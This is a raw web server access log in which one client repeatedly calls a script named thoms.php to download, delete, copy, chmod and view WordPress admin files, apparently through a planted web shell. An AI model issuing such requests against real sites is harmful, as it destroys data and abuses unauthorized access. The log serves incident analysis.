45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?dl=theme-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29016 "http://163.245.207.76:443/thoms.php?dl=theme-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12027 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-general.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-general.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /bossini.com.tw/wp-admin/site-health.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?chmod=site-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?chmod=options-connectors.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:24 -0400] "GET /thoms.php?dl=authorize-application.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?del=admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29023 "http://163.245.207.76:443/thoms.php?del=admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustom-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustom-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=index.php HTTP/1.1" 200 15222 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?del=plugin-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Frevision.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Frevision.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?del=media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fthemes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fthemes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:25 -0400] "GET /thoms.php?del=load-scripts.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=load-scripts.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=themes.php HTTP/1.1" 200 23804 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?dl=nav-menus.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=nav-menus.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?del=user-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?chmod=comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?del=custom-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?del=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?del=options-permalink.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?dl=admin-footer.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=admin-footer.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugin-install.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fplugin-install.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /bossini.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /bossini.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-health.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-health.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 200 15919 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /bossini.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?dl=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29012 "http://163.245.207.76:443/thoms.php?dl=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?chmod=options-permalink.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?del=custom-background.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets.php HTTP/1.1" 200 12489 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15017 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-post.php HTTP/1.1" 200 12656 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Findex.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Findex.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:27 -0400] "GET /bossini.com.tw/wp-admin/press-this.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?del=my-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?del=my-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?del=options-media.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17597 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-head.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-head.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /bossini.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 200 12051 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?dl=post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-comments.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-comments.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /bossini.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?del=menu.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=menu.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:28 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmy-sites.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmy-sites.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /bossini.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?del=options-head.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12345 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17392 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?dl=admin-post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?dl=async-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29017 "http://163.245.207.76:443/thoms.php?dl=async-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?dl=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fjs&p= HTTP/1.1" 200 12327 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?chmod=options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:29 -0400] "GET /thoms.php?del=link.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29052 "http://163.245.207.76:443/thoms.php?del=link.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=revision.php HTTP/1.1" 200 14220 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?dl=plugin-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29018 "http://163.245.207.76:443/thoms.php?dl=plugin-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?chmod=users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?dl=freedoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 29019 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /bossini.com.tw/wp-admin/plugin-editor.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:30 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Foptions-privacy.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
